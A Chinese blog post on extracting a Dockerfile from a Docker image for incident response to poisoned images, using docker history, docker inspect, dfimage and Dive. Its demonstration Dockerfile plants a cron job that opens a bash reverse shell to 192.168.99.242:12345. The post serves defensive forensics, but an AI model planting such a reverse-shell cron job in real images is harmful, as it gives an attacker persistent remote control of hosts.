Docker镜像解析获取Dockerfile文件

云计算 云原生
当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。

01、概述

当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。

02、环境准备

利用Dockfile构建一个反弹shell的恶意镜像:

FROM ubuntu:20.04
RUN  apt-get update &&\
     apt-get install -y cron &&\
     (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]


03、镜像解析Dockerfile

3.1 镜像文件解析

在镜像的元数据信息中,到镜像构建所使用的 Dockerfile,可以成功解析 Docker 镜像并获取其 Dockerfile 内容,以了解镜像的构建过程和引入的软件包及配置。

docker save -o test.tar test:v1.0
 tar -xvf test.tar


3.2 docker命令参数

使用docker history 命令查看指定镜像的创建历史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。

docker history test:v1.0 
docker history test:v1.0  --no-trunc


使用docker inspect命令来查看Docker镜像的详细信息,通过--format参数可自行定义输出信息,获取镜像的配置信息。

#查看镜像的配置信息
docker inspect --format='{{json .Config}}' test:v1.0

3.3 dfimage

dfimage是一款第三方工具,可用来从镜像中提取 Dockerfile

(1)生成快捷方式,使用dfimage可以输出很详细的 Dockerfile。

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36  test:v1.0

3.4 Docker镜像分析神器 Dive

Dive是一款Docker镜像分析神器,分析和浏览 Docker 容器镜像内部,可以很详细的看到每一层文件的变化。

alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0

图片图片

责任编辑:武晓燕 来源: Bypass
相关推荐

2021-05-13 23:54:12

DockerDockerfile镜像

2024-03-06 18:11:06

Docker镜像技术

2022-08-04 18:30:59

DockerfileDocker 镜像Linux

2019-10-21 11:43:00

DockerGradleJava

2023-06-08 07:37:42

Docker容器

2020-11-03 16:42:46

容器Dockerfile技术

2023-12-04 16:18:30

2021-09-08 17:20:18

DockerDockerfile程序

2018-06-05 08:58:38

Docker存储容器

2018-04-20 15:24:55

DockerfileDocker镜像

2014-11-18 10:37:15

dockerlinux技巧

2018-04-24 15:15:51

Dockerfile命令Docker

2021-09-02 11:55:57

Dockerfile文Linux

2015-01-08 15:18:43

DockerDockerFile创建镜像

2022-05-25 16:48:25

数据卷Docker

2022-10-14 07:07:46

架构

2019-09-17 09:44:45

DockerHTMLPython

2021-08-10 07:41:24

JavaDocker镜像

2014-12-15 09:16:10

DockerDaoCloud镜像部署

2021-11-09 14:08:45

DockerDockerfileJava
点赞
收藏

51CTO技术栈公众号